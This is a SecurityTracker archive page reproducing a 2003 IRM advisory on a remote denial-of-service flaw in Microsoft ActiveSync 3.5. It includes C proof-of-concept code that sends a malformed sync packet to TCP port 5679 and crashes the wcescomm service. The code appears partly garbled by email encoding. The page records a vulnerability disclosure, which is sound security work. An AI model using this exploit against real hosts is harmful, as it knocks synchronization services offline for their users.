Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Generic)  >   Microsoft ActiveSync Vendors:   Microsoft
Microsoft ActiveSync Application Can Be Crashed By Remote Users
SecurityTracker Alert ID:  1006361
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Mar 21 2003
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 3.5 (build 12007)
Description:   A denial of service vulnerability was reported in Microsoft ActiveSync software for synchronizing with personal digital assistants and mobile devices. A remote user can cause the application to crash.

Information Risk Management reported that a remote user can connect to the service on TCP port 5679 and send a malformed "sync request" packet to cause the service to crash. This reportedly triggers a NULL pointer dereference by the WideCharToMultiByte() function, causing the "wcescomm" process to crash.

The service must by manually restarted to return the synchronization service to return to normal operations.

Some demonstration exploit code is provided in the Source Message.

Impact:   A remote user can cause the ActiveSync service to crash.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Windows (Any)
Underlying OS Comments:  Tested on Windows 2000

Message History:   None.

 Source Message Contents

Subject:  IRM 004: ActiveSync Version 3.5 Denial of Service Vulnerability

Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

IRM Security Advisory No. 004

ActiveSync version 3.5 Denial of Service Vulnerability

Vulnerablity Type / Importance: Denial of Service / High

Problem discovered: November 26th 2002
Vendor contacted: November 26th 2002
Advisory published: March 17th 2003


"Microsoft ActiveSync allows you to create a partnership between your mobil=
e device and desktop computer using a cable, cradle, or infrared. After you=
 create a partnership, you can synchronize your data using a modem or netwo=
rk (Ethernet) card if your device supports it. You can also use your existi=
ng computer to connect to other resources through ActiveSync." - quote from=
 Microsoft ActiveSync help page.=20

The service runs on TCP port 5679 and by connecting to this port and sendin=
g a corrupted "sync request" packet the service can be crashed thus causing=
 Denial of Service.


By "pretending" to be an iPAQ and connecting to TCP port 5679, then sending=
 a corrupted "I would like to sync with you" packet, a NULL pointer is dere=
ferenced in a call to the function WideCharToMultiByte() while it is trying=
 to process an entry within the packet. This then causes an application err=
or, killing the "wcescomm" process.

The service must then be restarted manually to enable an iPAQ to re-sync.

Sample code to demonstrate the vulnerability is shown below:

/* iPAQ_Crash.c - by Andy Davis*/
/* Strictly for testing purposes only */
/* Compile with Microsoft VC++ */

#include <winsock.h>
#include <windows.h>
#include <stdio.h>

#define ASYNC_PORT 5679

int main(int argc, char **argv)

    unsigned char sendBuf[] =3D

/* Correct Header */

//"\x00\x00\x00\x00" /* Correct start of packet - by removing these 4 bytes=
 the crash occurs */=20
"\x6e\x00\x00\x00" /* Length of the rest of the packet */=20
"\xc3\x1d\xdd\x0c" /* 0xc31ddd0c Device Identifier */=20
"\x24\x00\x00\x00" /* 0x24 pointer to "Pocket_PC" */=20
"\x38\x00\x00\x00" /* 0x38 pointer to "PocketPC" */=20
"\x4a\x00\x00\x00" /* 0x4a pointer to "Compaq iPAQ H3800" */

/* "Pocket_PC PocketPC Compaq iPAQ H3800" (in unicode) */


    struct sockaddr_in servAddr;
    int s;

		if(WSAStartup (MAKEWORD(1,1), &WSAData) !=3D 0)
			printf("WSAStartup failed.\n");

	if (argc !=3D 2)
		printf ("\niPAQ_Crash\n");
		printf ("\nUsage: %s <target IP address>\n",argv[0]);
		exit (1);

    servAddr.sin_family =3D AF_INET;
    servAddr.sin_addr.s_addr =3D inet_addr(argv[1]);
    servAddr.sin_port =3D htons(ASYNC_PORT);

    s =3D socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *) &servAddr, sizeof(servAddr));

    printf("Sending packet...");

	if ( send(s, sendBuf, 118, 0) =3D=3D 0)
		printf("Error sending packet...quitting\n\n");
		exit (0);



Tested Versions:
~~~~~~ ~~~~~~~~~
ActiveSync version 3.5 (build 12007)=20

Tested Operating Systems:
~~~~~~ ~~~~~~~~~ ~~~~~~~~
Microsoft Windows 2000

Vendor & Patch Information:
~~~~~~ ~ ~~~~~ ~~~~~~~~~~~~
The vendor of this product, Microsoft, was contacted via email using the ad=
dress "" on 26th November 2002, Microsoft replied the=
 following day to confirm receipt of the email. A second email was sent on =
7th January 2003 to the same address to request information regarding the p=
rogress of any patch or workaround information. Microsoft did not reply to =
this email and no further correspondance has been received about the vulner=


Research & Advisory: Andy Davis=20

All information in this advisory is provided on an 'as is'
basis in the hope that it will be useful. Information Risk Management
Plc is not responsible for any risks or occurrences caused
by the application of this information.

A copy of this advisory may be found at

The PGP key used to sign IRM advisories can be obtained from the above
URL, or from and its mirrors.

Information Risk Management Plc.=20,
22 Buckingham Gate=20
+44 (0)207 808 6420

Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see




Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC